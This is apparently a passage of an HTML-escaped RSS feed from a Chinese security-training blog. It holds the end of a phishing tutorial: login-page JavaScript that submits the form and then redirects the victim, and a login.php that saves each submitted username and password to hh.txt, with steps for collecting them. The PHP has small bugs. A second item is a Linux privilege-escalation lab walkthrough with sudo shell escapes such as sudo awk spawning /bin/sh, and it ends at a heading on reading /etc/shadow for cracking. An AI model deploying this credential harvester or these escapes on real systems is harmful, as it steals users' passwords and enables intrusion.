&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nx&#34;&gt;loadingOverlay&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;classList&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;active&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// 6秒后跳转到welcome.php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nx&#34;&gt;setTimeout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;location&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;href&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;要跳转的网页链接&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;6000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nx&#34;&gt;fetch&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;login.php&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nx&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nx&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;FormData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;loginForm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}).&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;then&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;response&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nx&#34;&gt;console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;log&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;表单数据已提交&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}).&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;error&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nx&#34;&gt;console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;表单提交失败:&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// 提交失败时隐藏加载动画并提示
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nx&#34;&gt;loadingOverlay&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;classList&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;remove&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;active&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;登录请求提交失败，请重试&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// 防止点击加载遮罩层关闭动画
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;loadingOverlay&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addEventListener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nx&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stopPropagation&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;code&gt;login.php&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;session_start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 仅处理POST请求
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;REQUEST_METHOD&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// 获取用户输入（trim去除首尾空格，避免空值插入）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$user_input&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;trim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_POST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$pass_input&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;trim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_POST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// 验证输入不为空（可选，按需求保留/删除）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$user_input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$pass_input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;script&amp;gt;alert(&amp;#39;用户名或密码不能为空！&amp;#39;); window.history.back();&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$txt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$user_input&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-------&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$pass_input&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fopen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;./hh.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;a+&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;fwrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$txt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;fclose&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;在网站目录中创建一个&lt;code&gt;hh.txt&lt;/code&gt;（名称也可以在&lt;code&gt;login.php&lt;/code&gt;中修改），登录提交的密码就会保存到该txt文件中&lt;/li&gt;
&lt;/ol&gt;
</description>
        </item>
        <item>
        <title>1.10 Linux提权和密码破解</title>
        <link>https://www.retr0.xyz/p/1.10-linux%E6%8F%90%E6%9D%83%E5%92%8C%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/</link>
        <pubDate>Tue, 09 Dec 2025 16:18:30 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.10-linux%E6%8F%90%E6%9D%83%E5%92%8C%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/</guid>
        <description>&lt;blockquote&gt;
&lt;p&gt;第一部分中将会使用到kali攻击机和linux靶机（在资源库的安全靶场类中linsec.ova中下载）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其中，靶机默认用户名：bob，密码：secret（账户权限：普通）&lt;/p&gt;
&lt;p&gt;为了方便操作，我们使用攻击机对靶机进行ssh连接：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh bob@[靶机ip]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;linux提权&#34;&gt;Linux提权
&lt;/h2&gt;&lt;h3 id=&#34;直接提权&#34;&gt;直接提权
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo su
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;切换到ash终端&#34;&gt;&lt;strong&gt;切换到ash终端&lt;/strong&gt;
&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;ash（Almquist Shell）是一种轻量级的Unix/Linux命令行解释器，主要用于执行命令和管理文件系统。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;使用awk命令&#34;&gt;使用awk命令
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo awk &amp;#39;BEGIN {system(&amp;#34;/bin/sh&amp;#34;)}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;切换到bash终端&#34;&gt;切换到bash终端
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;切换到csh终端&#34;&gt;切换到csh终端
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo csh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;curl读取shadow获取加密后的密码穷举破解&#34;&gt;curl读取shadow获取加密后的密码（穷举破解）
